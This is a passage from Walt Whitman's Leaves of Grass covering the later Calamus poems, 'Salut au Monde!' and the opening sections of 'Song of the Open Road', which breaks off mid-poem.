still it was not a happy night for + me that follow'd, +And else when I carous'd, or when my plans were accomplish'd, still + I was not happy, +But the day when I rose at dawn from the bed of perfect health, + refresh'd, singing, inhaling the ripe breath of autumn, +When I saw the full moon in the west grow pale and disappear in the + morning light, +When I wander'd alone over the beach, and undressing bathed, + laughing with the cool waters, and saw the sun rise, +And when I thought how my dear friend my lover was on his way + coming, O then I was happy, +O then each breath tasted sweeter, and all that day my food + nourish'd me more, and the beautiful day pass'd well, +And the next came with equal joy, and with the next at evening came + my friend, +And that night while all was still I heard the waters roll slowly + continually up the shores, +I heard the hissing rustle of the liquid and sands as directed to me + whispering to congratulate me, +For the one I love most lay sleeping by me under the same cover in + the cool night, +In the stillness in the autumn moonbeams his face was inclined toward me, +And his arm lay lightly around my breast--and that night I was happy. + + + +} Are You the New Person Drawn Toward Me? + +Are you the new person drawn toward me? +To begin with take warning, I am surely far different from what you suppose; +Do you suppose you will find in me your ideal? +Do you think it so easy to have me become your lover? +Do you think the friendship of me would be unalloy'd satisfaction? +Do you think I am trusty and faithful? +Do you see no further than this facade, this smooth and tolerant + manner of me? +Do you suppose yourself advancing on real ground toward a real heroic man? +Have you no thought O dreamer that it may be all maya, illusion? + + + +} Roots and Leaves Themselves Alone + +Roots and leaves themselves alone are these, +Scents brought to men and women from the wild woods and pond-side, +Breast-sorrel and pinks of love, fingers that wind around tighter + than vines, +Gushes from the throats of birds hid in the foliage of trees as the + sun is risen, +Breezes of land and love set from living shores to you on the living + sea, to you O sailors! +Frost-mellow'd berries and Third-month twigs offer'd fresh to young + persons wandering out in the fields when the winter breaks up, +Love-buds put before you and within you whoever you are, +Buds to be unfolded on the old terms, +If you bring the warmth of the sun to them they will open and bring + form, color, perfume, to you, +If you become the aliment and the wet they will become flowers, + fruits, tall branches and trees. + + + +} Not Heat Flames Up and Consumes + +Not heat flames up and consumes, +Not sea-waves hurry in and out, +Not the air delicious and dry, the air of ripe summer, bears lightly + along white down-balls of myriads of seeds, +Waited, sailing gracefully, to drop where they may; +Not these, O none of these more than the flames of me, consuming, + burning for his love whom I love, +O none more than I hurrying in and out; +Does the tide hurry, seeking something, and never give up? O I the same, +O nor down-balls nor perfumes, nor the high rain-emitting clouds, + are borne through the open air, +Any more than my soul is borne through the open air, +Wafted in all directions O love, for friendship, for you. + + + +} Trickle Drops + +Trickle drops! my blue veins leaving! +O drops of me! trickle, slow drops, +Candid from me falling, drip, bleeding drops, +From wounds made to free you whence you were prison'd, +From my face, from my forehead and lips, +From my breast, from within where I was conceal'd, press forth red + drops, confession drops, +Stain every page, stain every song I sing, every word I say, bloody drops, +Let them know your scarlet heat, let them glisten, +Saturate them with yourself all ashamed and wet, +Glow upon all I have written or shall write, bleeding drops, +Let it all be seen in your light, blushing drops. + + + +} City of Orgies + +City of orgies, walks and joys, +City whom that I have lived and sung in your midst will one day make +Not the pageants of you, not your shifting tableaus, your + spectacles, repay me, +Not the interminable rows of your houses, nor the ships at the wharves, +Nor the processions in the streets, nor the bright windows with + goods in them, +Nor to converse with learn'd persons, or bear my share in the soiree + or feast; +Not those, but as I pass O Manhattan, your frequent and swift flash + of eyes offering me love, +Offering response to my own--these repay me, +Lovers, continual lovers, only repay me. + + + +} Behold This Swarthy Face + +Behold this swarthy face, these gray eyes, +This beard, the white wool unclipt upon my neck, +My brown hands and the silent manner of me without charm; +Yet comes one a Manhattanese and ever at parting kisses me lightly + on the lips with robust love, +And I on the crossing of the street or on the ship's deck give a + kiss in return, +We observe that salute of American comrades land and sea, +We are those two natural and nonchalant persons. + + + +} I Saw in Louisiana a Live-Oak Growing + +I saw in Louisiana a live-oak growing, +All alone stood it and the moss hung down from the branches, +Without any companion it grew there uttering joyous of dark green, +And its look, rude, unbending, lusty, made me think of myself, +But I wonder'd how it could utter joyous leaves standing alone there + without its friend near, for I knew I could not, +And I broke off a twig with a certain number of leaves upon it and + twined around it a little moss, +And brought it away, and I have placed it in sight in my room, +It is not needed to remind me as of my own dear friends, +(For I believe lately I think of little else than of them,) +Yet it remains to me a curious token, it makes me think of manly love; +For all that, and though the live-oak glistens there in Louisiana + solitary in a wide in a wide flat space, +Uttering joyous leaves all its life without a friend a lover near, +I know very well I could not. + + + +} To a Stranger + +Passing stranger! you do not know how longingly I look upon you, +You must be he I was seeking, or she I was seeking, (it comes to me + as of a dream,) +I have somewhere surely lived a life of joy with you, +All is recall'd as we flit by each other, fluid, affectionate, + chaste, matured, +You grew up with me, were a boy with me or a girl with me, +I ate with you and slept with you, your body has become not yours + only nor left my body mine only, +You give me the pleasure of your eyes, face, flesh, as we pass, you + take of my beard, breast, hands, in return, +I am not to speak to you, I am to think of you when I sit alone or + wake at night alone, +I am to wait, I do not doubt I am to meet you again, +I am to see to it that I do not lose you. + + + +} This Moment Yearning and Thoughtful + +This moment yearning and thoughtful sitting alone, +It seems to me there are other men in other lands yearning and thoughtful, +It seems to me I can look over and behold them in Germany, Italy, + France, Spain, +Or far, far away, in China, or in Russia or talking other dialects, +And it seems to me if I could know those men I should become + attached to them as I do to men in my own lands, +O I know we should be brethren and lovers, +I know I should be happy with them. + + + +} I Hear It Was Charged Against Me + +I hear it was charged against me that I sought to destroy institutions, +But really I am neither for nor against institutions, +(What indeed have I in common with them? or what with the + destruction of them?) +Only I will establish in the Mannahatta and in every city of these + States inland and seaboard, +And in the fields and woods, and above every keel little or large + that dents the water, +Without edifices or rules or trustees or any argument, +The institution of the dear love of comrades. + + + +} The Prairie-Grass Dividing + +The prairie-grass dividing, its special odor breathing, +I demand of it the spiritual corresponding, +Demand the most copious and close companionship of men, +Demand the blades to rise of words, acts, beings, +Those of the open atmosphere, coarse, sunlit, fresh, nutritious, +Those that go their own gait, erect, stepping with freedom and + command, leading not following, +Those with a never-quell'd audacity, those with sweet and lusty + flesh clear of taint, +Those that look carelessly in the faces of Presidents and governors, + as to say Who are you? +Those of earth-born passion, simple, never constrain'd, never obedient, +Those of inland America. + + + +} When I Persue the Conquer'd Fame + +When I peruse the conquer'd fame of heroes and the victories of + mighty generals, I do not envy the generals, +Nor the President in his Presidency, nor the rich in his great house, +But when I hear of the brotherhood of lovers, how it was with them, +How together through life, through dangers, odium, unchanging, long + and long, +Through youth and through middle and old age, how unfaltering, how + affectionate and faithful they were, +Then I am pensive--I hastily walk away fill'd with the bitterest envy. + + + +} We Two Boys Together Clinging + +We two boys together clinging, +One the other never leaving, +Up and down the roads going, North and South excursions making, +Power enjoying, elbows stretching, fingers clutching, +Arm'd and fearless, eating, drinking, sleeping, loving. +No law less than ourselves owning, sailing, soldiering, thieving, + threatening, +Misers, menials, priests alarming, air breathing, water drinking, on + the turf or the sea-beach dancing, +Cities wrenching, ease scorning, statutes mocking, feebleness chasing, +Fulfilling our foray. + + + +} A Promise to California + +A promise to California, +Or inland to the great pastoral Plains, and on to Puget sound and Oregon; +Sojourning east a while longer, soon I travel toward you, to remain, + to teach robust American love, +For I know very well that I and robust love belong among you, + inland, and along the Western sea; +For these States tend inland and toward the Western sea, and I will also. + + + +} Here the Frailest Leaves of Me + +Here the frailest leaves of me and yet my strongest lasting, +Here I shade and hide my thoughts, I myself do not expose them, +And yet they expose me more than all my other poems. + + + +} No Labor-Saving Machine + +No labor-saving machine, +Nor discovery have I made, +Nor will I be able to leave behind me any wealthy bequest to found + hospital or library, +Nor reminiscence of any deed of courage for America, +Nor literary success nor intellect; nor book for the book-shelf, +But a few carols vibrating through the air I leave, +For comrades and lovers. + + + +} A Glimpse + +A glimpse through an interstice caught, +Of a crowd of workmen and drivers in a bar-room around the stove + late of a winter night, and I unremark'd seated in a corner, +Of a youth who loves me and whom I love, silently approaching and + seating himself near, that he may hold me by the hand, +A long while amid the noises of coming and going, of drinking and + oath and smutty jest, +There we two, content, happy in being together, speaking little, + perhaps not a word. + + + +} A Leaf for Hand in Hand + +A leaf for hand in hand; +You natural persons old and young! +You on the Mississippi and on all the branches and bayous of + the Mississippi! +You friendly boatmen and mechanics! you roughs! +You twain! and all processions moving along the streets! +I wish to infuse myself among you till I see it common for you to + walk hand in hand. + + + +} Earth, My Likeness + +Earth, my likeness, +Though you look so impassive, ample and spheric there, +I now suspect that is not all; +I now suspect there is something fierce in you eligible to burst forth, +For an athlete is enamour'd of me, and I of him, +But toward him there is something fierce and terrible in me eligible + to burst forth, +I dare not tell it in words, not even in these songs. + + + +} I Dream'd in a Dream + +I dream'd in a dream I saw a city invincible to the attacks of the + whole of the rest of the earth, +I dream'd that was the new city of Friends, +Nothing was greater there than the quality of robust love, it led the rest, +It was seen every hour in the actions of the men of that city, +And in all their looks and words. + + + +} What Think You I Take My Pen in Hand? + +What think you I take my pen in hand to record? +The battle-ship, perfect-model'd, majestic, that I saw pass the + offing to-day under full sail? +The splendors of the past day? or the splendor of the night that + envelops me? +Or the vaunted glory and growth of the great city spread around me? --no; +But merely of two simple men I saw to-day on the pier in the midst + of the crowd, parting the parting of dear friends, +The one to remain hung on the other's neck and passionately kiss'd him, +While the one to depart tightly prest the one to remain in his arms. + + + +} To the East and to the West + +To the East and to the West, +To the man of the Seaside State and of Pennsylvania, +To the Kanadian of the north, to the Southerner I love, +These with perfect trust to depict you as myself, the germs are in all men, +I believe the main purport of these States is to found a superb + friendship, exalte, previously unknown, +Because I perceive it waits, and has been always waiting, latent in all men. + + + +} Sometimes with One I Love + +Sometimes with one I love I fill myself with rage for fear I effuse + unreturn'd love, +But now I think there is no unreturn'd love, the pay is certain one + way or another, +(I loved a certain person ardently and my love was not return'd, +Yet out of that I have written these songs.) + + + +} To a Western Boy + +Many things to absorb I teach to help you become eleve of mine; +Yet if blood like mine circle not in your veins, +If you be not silently selected by lovers and do not silently select lovers, +Of what use is it that you seek to become eleve of mine? + + + +} Fast Anchor'd Eternal O Love! + +Fast-anchor'd eternal O love! O woman I love! +O bride! O wife! more resistless than I can tell, the thought of you! +Then separate, as disembodied or another born, +Ethereal, the last athletic reality, my consolation, +I ascend, I float in the regions of your love O man, +O sharer of my roving life. + + + +} Among the Multitude + +Among the men and women the multitude, +I perceive one picking me out by secret and divine signs, +Acknowledging none else, not parent, wife, husband, brother, child, + any nearer than I am, +Some are baffled, but that one is not--that one knows me. + +Ah lover and perfect equal, +I meant that you should discover me so by faint indirections, +And I when I meet you mean to discover you by the like in you. + + + +} O You Whom I Often and Silently Come + +O you whom I often and silently come where you are that I may be with you, +As I walk by your side or sit near, or remain in the same room with you, +Little you know the subtle electric fire that for your sake is + playing within me. + + + +} That Shadow My Likeness + +That shadow my likeness that goes to and fro seeking a livelihood, + chattering, chaffering, +How often I find myself standing and looking at it where it flits, +How often I question and doubt whether that is really me; +But among my lovers and caroling these songs, +O I never doubt whether that is really me. + + + +} Full of Life Now + +Full of life now, compact, visible, +I, forty years old the eighty-third year of the States, +To one a century hence or any number of centuries hence, +To you yet unborn these, seeking you. + +When you read these I that was visible am become invisible, +Now it is you, compact, visible, realizing my poems, seeking me, +Fancying how happy you were if I could be with you and become your comrade; +Be it as if I were with you. (Be not too certain but I am now with you.) + + + +[BOOK VI] + +} Salut au Monde! + + 1 +O take my hand Walt Whitman! +Such gliding wonders! such sights and sounds! +Such join'd unended links, each hook'd to the next, +Each answering all, each sharing the earth with all. + +What widens within you Walt Whitman? +What waves and soils exuding? +What climes? what persons and cities are here? +Who are the infants, some playing, some slumbering? +Who are the girls? who are the married women? +Who are the groups of old men going slowly with their arms about + each other's necks? +What rivers are these? what forests and fruits are these? +What are the mountains call'd that rise so high in the mists? +What myriads of dwellings are they fill'd with dwellers? + + 2 +Within me latitude widens, longitude lengthens, +Asia, Africa, Europe, are to the east--America is provided for in the west, +Banding the bulge of the earth winds the hot equator, +Curiously north and south turn the axis-ends, +Within me is the longest day, the sun wheels in slanting rings, it + does not set for months, +Stretch'd in due time within me the midnight sun just rises above + the horizon and sinks again, +Within me zones, seas, cataracts, forests, volcanoes, groups, +Malaysia, Polynesia, and the great West Indian islands. + + 3 +What do you hear Walt Whitman? + +I hear the workman singing and the farmer's wife singing, +I hear in the distance the sounds of children and of animals early + in the day, +I hear emulous shouts of Australians pursuing the wild horse, +I hear the Spanish dance with castanets in the chestnut shade, to + the rebeck and guitar, +I hear continual echoes from the Thames, +I hear fierce French liberty songs, +I hear of the Italian boat-sculler the musical recitative of old poems, +I hear the locusts in Syria as they strike the grain and grass with + the showers of their terrible clouds, +I hear the Coptic refrain toward sundown, pensively falling on the + breast of the black venerable vast mother the Nile, +I hear the chirp of the Mexican muleteer, and the bells of the mule, +I hear the Arab muezzin calling from the top of the mosque, +I hear the Christian priests at the altars of their churches, I hear + the responsive base and soprano, +I hear the cry of the Cossack, and the sailor's voice putting to sea + at Okotsk, +I hear the wheeze of the slave-coffle as the slaves march on, as the + husky gangs pass on by twos and threes, fasten'd together + with wrist-chains and ankle-chains, +I hear the Hebrew reading his records and psalms, +I hear the rhythmic myths of the Greeks, and the strong legends of + the Romans, +I hear the tale of the divine life and bloody death of the beautiful + God the Christ, +I hear the Hindoo teaching his favorite pupil the loves, wars, + adages, transmitted safely to this day from poets who wrote three + thousand years ago. + + 4 +What do you see Walt Whitman? +Who are they you salute, and that one after another salute you? +I see a great round wonder rolling through space, +I see diminute farms, hamlets, ruins, graveyards, jails, factories, + palaces, hovels, huts of barbarians, tents of nomads upon the surface, +I see the shaded part on one side where the sleepers are sleeping, + and the sunlit part on the other side, +I see the curious rapid change of the light and shade, +I see distant lands, as real and near to the inhabitants of them as + my land is to me. + +I see plenteous waters, +I see mountain peaks, I see the sierras of Andes where they range, +I see plainly the Himalayas, Chian Shahs, Altays, Ghauts, +I see the giant pinnacles of Elbruz, Kazbek, Bazardjusi, +I see the Styrian Alps, and the Karnac Alps, +I see the Pyrenees, Balks, Carpathians, and to the north the + Dofrafields, and off at sea mount Hecla, +I see Vesuvius and Etna, the mountains of the Moon, and the Red + mountains of Madagascar, +I see the Lybian, Arabian, and Asiatic deserts, +I see huge dreadful Arctic and Antarctic icebergs, +I see the superior oceans and the inferior ones, the Atlantic and + Pacific, the sea of Mexico, the Brazilian sea, and the sea of Peru, +The waters of Hindustan, the China sea, and the gulf of Guinea, +The Japan waters, the beautiful bay of Nagasaki land-lock'd in its + mountains, +The spread of the Baltic, Caspian, Bothnia, the British shores, and + the bay of Biscay, +The clear-sunn'd Mediterranean, and from one to another of its islands, +The White sea, and the sea around Greenland. + +I behold the mariners of the world, +Some are in storms, some in the night with the watch on the lookout, +Some drifting helplessly, some with contagious diseases. + +I behold the sail and steamships of the world, some in clusters in + port, some on their voyages, +Some double the cape of Storms, some cape Verde, others capes + Guardafui, Bon, or Bajadore, +Others Dondra head, others pass the straits of Sunda, others cape + Lopatka, others Behring's straits, +Others cape Horn, others sail the gulf of Mexico or along Cuba or + Hayti, others Hudson's bay or Baffin's bay, +Others pass the straits of Dover, others enter the Wash, others the + firth of Solway, others round cape Clear, others the Land's End, +Others traverse the Zuyder Zee or the Scheld, +Others as comers and goers at Gibraltar or the Dardanelles, +Others sternly push their way through the northern winter-packs, +Others descend or ascend the Obi or the Lena, +Others the Niger or the Congo, others the Indus, the Burampooter + and Cambodia, +Others wait steam'd up ready to start in the ports of Australia, +Wait at Liverpool, Glasgow, Dublin, Marseilles, Lisbon, Naples, +Hamburg, Bremen, Bordeaux, the Hague, Copenhagen, +Wait at Valparaiso, Rio Janeiro, Panama. + + 5 +I see the tracks of the railroads of the earth, +I see them in Great Britain, I see them in Europe, +I see them in Asia and in Africa. + +I see the electric telegraphs of the earth, +I see the filaments of the news of the wars, deaths, losses, gains, + passions, of my race. + +I see the long river-stripes of the earth, +I see the Amazon and the Paraguay, +I see the four great rivers of China, the Amour, the Yellow River, + the Yiang-tse, and the Pearl, +I see where the Seine flows, and where the Danube, the Loire, the + Rhone, and the Guadalquiver flow, +I see the windings of the Volga, the Dnieper, the Oder, +I see the Tuscan going down the Arno, and the Venetian along the Po, +I see the Greek seaman sailing out of Egina bay. + + 6 +I see the site of the old empire of Assyria, and that of Persia, and + that of India, +I see the falling of the Ganges over the high rim of Saukara. + +I see the place of the idea of the Deity incarnated by avatars in + human forms, +I see the spots of the successions of priests on the earth, oracles, + sacrificers, brahmins, sabians, llamas, monks, muftis, exhorters, +I see where druids walk'd the groves of Mona, I see the mistletoe + and vervain, +I see the temples of the deaths of the bodies of Gods, I see the old + signifiers. + +I see Christ eating the bread of his last supper in the midst of + youths and old persons, +I see where the strong divine young man the Hercules toil'd + faithfully and long and then died, +I see the place of the innocent rich life and hapless fate of the + beautiful nocturnal son, the full-limb'd Bacchus, +I see Kneph, blooming, drest in blue, with the crown of feathers on + his head, +I see Hermes, unsuspected, dying, well-belov'd, saying to the people + Do not weep for me, +This is not my true country, I have lived banish'd from my true + country, I now go back there, +I return to the celestial sphere where every one goes in his turn. + + 7 +I see the battle-fields of the earth, grass grows upon them and + blossoms and corn, +I see the tracks of ancient and modern expeditions. + +I see the nameless masonries, venerable messages of the unknown + events, heroes, records of the earth. + +I see the places of the sagas, +I see pine-trees and fir-trees torn by northern blasts, +I see granite bowlders and cliffs, I see green meadows and lakes, +I see the burial-cairns of Scandinavian warriors, +I see them raised high with stones by the marge of restless oceans, + that the dead men's spirits when they wearied of their quiet + graves might rise up through the mounds and gaze on the tossing + billows, and be refresh'd by storms, immensity, liberty, action. + +I see the steppes of Asia, +I see the tumuli of Mongolia, I see the tents of Kalmucks and Baskirs, +I see the nomadic tribes with herds of oxen and cows, +I see the table-lands notch'd with ravines, I see the jungles and deserts, +I see the camel, the wild steed, the bustard, the fat-tail'd sheep, + the antelope, and the burrowing wolf + +I see the highlands of Abyssinia, +I see flocks of goats feeding, and see the fig-tree, tamarind, date, +And see fields of teff-wheat and places of verdure and gold. + +I see the Brazilian vaquero, +I see the Bolivian ascending mount Sorata, +I see the Wacho crossing the plains, I see the incomparable rider of + horses with his lasso on his arm, +I see over the pampas the pursuit of wild cattle for their hides. + + 8 +I see the regions of snow and ice, +I see the sharp-eyed Samoiede and the Finn, +I see the seal-seeker in his boat poising his lance, +I see the Siberian on his slight-built sledge drawn by dogs, +I see the porpoise-hunters, I see the whale-crews of the south + Pacific and the north Atlantic, +I see the cliffs, glaciers, torrents, valleys, of Switzerland--I + mark the long winters and the isolation. + +I see the cities of the earth and make myself at random a part of them, +I am a real Parisian, +I am a habitan of Vienna, St. Petersburg, Berlin, Constantinople, +I am of Adelaide, Sidney, Melbourne, +I am of London, Manchester, Bristol, Edinburgh, Limerick, +I am of Madrid, Cadiz, Barcelona, Oporto, Lyons, Brussels, Berne, + Frankfort, Stuttgart, Turin, Florence, +I belong in Moscow, Cracow, Warsaw, or northward in Christiania or + Stockholm, or in Siberian Irkutsk, or in some street in Iceland, +I descend upon all those cities, and rise from them again. + + 10 +I see vapors exhaling from unexplored countries, +I see the savage types, the bow and arrow, the poison'd splint, the + fetich, and the obi. +I see African and Asiatic towns, +I see Algiers, Tripoli, Derne, Mogadore, Timbuctoo, Monrovia, +I see the swarms of Pekin, Canton, Benares, Delhi, Calcutta, Tokio, +I see the Kruman in his hut, and the Dahoman and Ashantee-man in their huts, +I see the Turk smoking opium in Aleppo, +I see the picturesque crowds at the fairs of Khiva and those of Herat, +I see Teheran, I see Muscat and Medina and the intervening sands, + see the caravans toiling onward, +I see Egypt and the Egyptians, I see the pyramids and obelisks. +I look on chisell'd histories, records of conquering kings, + dynasties, cut in slabs of sand-stone, or on granite-blocks, +I see at Memphis mummy-pits containing mummies embalm'd, + swathed in linen cloth, lying there many centuries, +I look on the fall'n Theban, the large-ball'd eyes, the + side-drooping neck, the hands folded across the breast. + +I see all the menials of the earth, laboring, +I see all the prisoners in the prisons, +I see the defective human bodies of the earth, +The blind, the deaf and dumb, idiots, hunchbacks, lunatics, +The pirates, thieves, betrayers, murderers, slave-makers of the earth, +The helpless infants, and the helpless old men and women. + +I see male and female everywhere, +I see the serene brotherhood of philosophs, +I see the constructiveness of my race, +I see the results of the perseverance and industry of my race, +I see ranks, colors, barbarisms, civilizations, I go among them, I + mix indiscriminately, +And I salute all the inhabitants of the earth. + + 11 +You whoever you are! +You daughter or son of England! +You of the mighty Slavic tribes and empires! you Russ in Russia! +You dim-descended, black, divine-soul'd African, large, fine-headed, + nobly-form'd, superbly destin'd, on equal terms with me! +You Norwegian! Swede! Dane! Icelander! you Prussian! +You Spaniard of Spain! you Portuguese! +You Frenchwoman and Frenchman of France! +You Belge! you liberty-lover of the Netherlands! (you stock whence I + myself have descended;) +You sturdy Austrian! you Lombard! Hun! Bohemian! farmer of Styria! +You neighbor of the Danube! +You working-man of the Rhine, the Elbe, or the Weser! you working-woman too! +You Sardinian! you Bavarian! Swabian! Saxon! Wallachian! Bulgarian! +You Roman! Neapolitan! you Greek! +You lithe matador in the arena at Seville! +You mountaineer living lawlessly on the Taurus or Caucasus! +You Bokh horse-herd watching your mares and stallions feeding! +You beautiful-bodied Persian at full speed in the saddle shooting + arrows to the mark! +You Chinaman and Chinawoman of China! you Tartar of Tartary! +You women of the earth subordinated at your tasks! +You Jew journeying in your old age through every risk to stand once + on Syrian ground! +You other Jews waiting in all lands for your Messiah! +You thoughtful Armenian pondering by some stream of the Euphrates! + you peering amid the ruins of Nineveh! you ascending mount Ararat! +You foot-worn pilgrim welcoming the far-away sparkle of the minarets + of Mecca! +You sheiks along the stretch from Suez to Bab-el-mandeb ruling your + families and tribes! +You olive-grower tending your fruit on fields of Nazareth, Damascus, + or lake Tiberias! +You Thibet trader on the wide inland or bargaining in the shops of Lassa! +You Japanese man or woman! you liver in Madagascar, Ceylon, Sumatra, Borneo! +All you continentals of Asia, Africa, Europe, Australia, indifferent + of place! +All you on the numberless islands of the archipelagoes of the sea! +And you of centuries hence when you listen to me! +And you each and everywhere whom I specify not, but include just the same! +Health to you! good will to you all, from me and America sent! + +Each of us inevitable, +Each of us limitless--each of us with his or her right upon the earth, +Each of us allow'd the eternal purports of the earth, +Each of us here as divinely as any is here. + + 12 +You Hottentot with clicking palate! you woolly-hair'd hordes! +You own'd persons dropping sweat-drops or blood-drops! +You human forms with the fathomless ever-impressive countenances of brutes! +You poor koboo whom the meanest of the rest look down upon for all + your glimmering language and spirituality! +You dwarf'd Kamtschatkan, Greenlander, Lapp! +You Austral negro, naked, red, sooty, with protrusive lip, + groveling, seeking your food! +You Caffre, Berber, Soudanese! +You haggard, uncouth, untutor'd Bedowee! +You plague-swarms in Madras, Nankin, Kaubul, Cairo! +You benighted roamer of Amazonia! you Patagonian! you Feejeeman! +I do not prefer others so very much before you either, +I do not say one word against you, away back there where you stand, +(You will come forward in due time to my side.) + + 13 +My spirit has pass'd in compassion and determination around the whole earth, +I have look'd for equals and lovers and found them ready for me in + all lands, +I think some divine rapport has equalized me with them. + +You vapors, I think I have risen with you, moved away to distant + continents, and fallen down there, for reasons, +I think I have blown with you you winds; +You waters I have finger'd every shore with you, +I have run through what any river or strait of the globe has run through, +I have taken my stand on the bases of peninsulas and on the high + embedded rocks, to cry thence: + +What cities the light or warmth penetrates I penetrate those cities myself, +All islands to which birds wing their way I wing my way myself. + +Toward you all, in America's name, +I raise high the perpendicular hand, I make the signal, +To remain after me in sight forever, +For all the haunts and homes of men. + + + +[BOOK VII] + +} Song of the Open Road + + 1 +Afoot and light-hearted I take to the open road, +Healthy, free, the world before me, +The long brown path before me leading wherever I choose. + +Henceforth I ask not good-fortune, I myself am good-fortune, +Henceforth I whimper no more, postpone no more, need nothing, +Done with indoor complaints, libraries, querulous criticisms, +Strong and content I travel the open road. + +The earth, that is sufficient, +I do not want the constellations any nearer, +I know they are very well where they are, +I know they suffice for those who belong to them. + +(Still here I carry my old delicious burdens, +I carry them, men and women, I carry them with me wherever I go, +I swear it is impossible for me to get rid of them, +I am fill'd with them, and I will fill them in return.) + + 2 +You road I enter upon and look around, I believe you are not all + that is here, +I believe that much unseen is also here. + +Here the profound lesson of reception, nor preference nor denial, +The black with his woolly head, the felon, the diseas'd, the + illiterate person, are not denied; +The birth, the hasting after the physician, the beggar's tramp, the + drunkard's stagger, the laughing party of mechanics, +The escaped youth, the rich person's carriage, the fop, the eloping couple, +The early market-man, the hearse, the moving of furniture into the + town, the return back from the town, +They pass, I also pass, any thing passes, none can be interdicted, +None but are accepted, none but shall be dear to me. + + 3 +You air that serves me with breath to speak! +You objects that call from diffusion my meanings and give them shape! +You light that wraps me and all things in delicate equable showers! +You paths worn in the irregular hollows by the roadsides! +I believe you are latent with unseen existences, you are so dear to me. + +You flagg'd walks of the cities! you strong curbs at the edges! +You ferries! you planks and posts of wharves! you timber-lined + side! you distant ships! +You rows of houses! you window-pierc'd facades! you roofs! +You porches and entrances! you copings and iron guards! +You windows whose transparent shells might expose so much! +You doors and ascending steps! you arches! +You gray stones of interminable pavements! you trodden crossings! +From all that has touch'd you I believe you have imparted to + yourselves, and now would impart the same secretly to me, +From the living and the dead you have peopled your impassive surfaces, + and the spirits thereof would be evident and amicable with me. + + 4 +The earth expanding right hand and left hand, +The picture alive, every part in its best light, +The music falling in where it is wanted, and stopping where it is + not wanted, +The cheerful voice of the public road, the gay fresh sentiment of the road. + +O highway I travel, do you say to me Do not leave me? +Do you say Venture not--if you leave me you are lost? +Do you say I am already prepared, I am well-beaten and undenied, + adhere to me? + +O public road, I say back I am not afraid to leave you, yet I love you, +You express me better than I can express myself, +You shall be more to me than my poem. + +I think heroic deeds were all conceiv'd in the open air, and all + free poems also, +I think I could stop here myself and do miracles, +I think whatever I shall meet on the road I shall like, and whoever + beholds me shall like me, +I think whoever I see must be happy. + + 5 +From this hour I ordain myself loos'd of limits and imaginary lines, +Going where I list, my own master total and absolute, +Listening to others, considering well what they say, +Pausing, searching, receiving, contemplating, +Gently, but with undeniable will, divesting myself of the holds that + would hold me. + +I inhale great draughts of space, +The east and the west are mine, and the north and the south are mine. + +I am larger, better than I thought, +I did not know I held so much goodness. + +All seems beautiful to me, +can repeat over to men and women You have done such good to me + I would do the same to you, +I will recruit for myself and you as I go, +I will scatter myself among men and women as I go, +I will toss a new gladness and roughness among them, +Whoever denies me it shall not trouble me, +Whoever accepts me he or she shall be blessed and shall bless me. + + 6 +Now if a thousand perfect men were to appear it would not amaze me, +Now if a thousand beautiful forms of women appear'd it would not + astonish me. + +Now I see the secret of the making of the best persons, +It is to grow in the open air and to eat and sleep with the earth. + +Here a great personal deed has room, +(Such a deed seizes upon the hearts of the whole race of men, +Its effusion of strength and will overwhelms law and mocks all + authority and all argument against it.) + +Here is the test of wisdom, +Wisdom is not finally tested in schools, +Wisdom cannot be pass'd from one having it to another not having it, +Wisdom is of the soul, is not susceptible of proof, is its own proof, +Applies to all stages and objects and qualities and is content, +Is the certainty of the reality and immortality of things, and the + excellence of things; +Something there is in the float of the sight of things that provokes + it out of the soul. + +Now I re-examine philosophies and religions, +They may prove well in lecture-rooms, yet not prove at all under the + spacious clouds and along the landscape and flowing currents. + +Here is realization, +Here is a man tallied--he realizes here what he has in him, +The past, the future, majesty, love--if they are vacant of you, you + are vacant of them. + +Only the kernel of every object nourishes; +Where is he who tears off the husks for you and me? +Where is he that undoes stratagems and envelopes for you and me? + +Here is adhesiveness, it is not previously fashion'd, it is apropos; +Do you know what it is as you pass to be loved by strangers? +Do you know the talk of those turning eye-balls? + + 7 +Here is the efflux of the soul, +The efflux of the soul comes from within through embower'd gates, + ever provoking questions, +These yearnings why are they? these thoughts in the darkness why are they? +Why are there men and women that while they are nigh me the sunlight + expands my blood? +Why when they leave me do my pennants of joy sink flat and lank? +Why are there trees I never walk under but large and melodious + thoughts descend upon me? +(I think they hang there winter and summer on those trees and always + drop fruit as I pass;) +What is it I interchange so suddenly with strangers? +What with some driver as I ride on the seat by his side? +What with some fisherman drawing his seine by the shore as I walk by + and pause? +What gives me to be free to a woman's and man's good-will? what + gives them to be free to mine? + + 8 +The efflux of the soul is happiness, here is happiness, +I think it pervades the open air, waiting at all times, +Now it flows unto us, we are rightly charged. + +Here rises the fluid and attaching character, +The fluid and attaching character is the freshness and sweetness of + man and woman, +(The herbs of the morning sprout no fresher and sweeter every day + out of the roots of themselves, than it sprouts fresh and sweet + continually out of itself.) + +Toward the fluid and attaching character exudes the sweat of the + love of young and old, +From it falls distill'd the charm that mocks beauty and attainments, +Toward it heaves the shuddering longing ache of contact. + + 9 +Allons! whoever you are come travel with me! +Traveling with me you find what never tires. + +The earth never tires, +The earth is rude, silent, incomprehensible at first, Nature is rude + and incomprehensible at first, +Be not discouraged, keep on, there are divine things well envelop'd, +I swear to you there are divine things more beautiful than words can tell. + +Allons! we must not stop here, +However sweet these laid-up stores, however convenient this dwelling + we cannot remain here, +However shelter'd this port and however calm these waters we must + not anchor here, +However welcome the hospitality that surrounds us we are permitted + to receive it but a little while. + + 10 +Allons! the inducements shall be greater, +We will sail pathless and wild seas, +We will go where winds blow, waves dash, and the Yankee clipper + speeds by under full sail. + +Allons! with power, liberty, the earth, the elements, +Health, defiance, gayety, self-esteem, curiosity; +Allons! from all formules! +From your formules, O bat-eyed and materialistic priests. + +The stale cadaver blocks up the passage--the burial waits no longer. + +Allons! yet take warning! +He traveling with me needs the best blood, thews, endurance, +None may come to the trial till he or she bring courage and health, +Come not here if you have already spent the best of yourself, +Only those may come who come in sweet and determin'd bodies, +No diseas'd person, no rum-drinker or venereal taint is permitted here. + +(I and mine do not convince by arguments, similes, rhymes, +We convince by our presence.) + + 11 +Listen! I will be honest with you, +I do not offer the old smooth prizes, but offer rough new prizes, +These are the days that must happen to you: +You shall not heap up what is call'd riches, +You shall scatter with lavish hand all that you earn or achieve, +You but arrive at the city to which you were destin'd, you hardly + settle yourself to satisfaction before you are call'd by an + irresistible call to depart, +You shall be treated to the ironical smiles and mockings of those + who remain behind you, +What beckonings of love you receive you shall only answer with + passionate kisses of parting, +You shall not allow the hold of those who spread their reach'd hands + toward you. + + 12 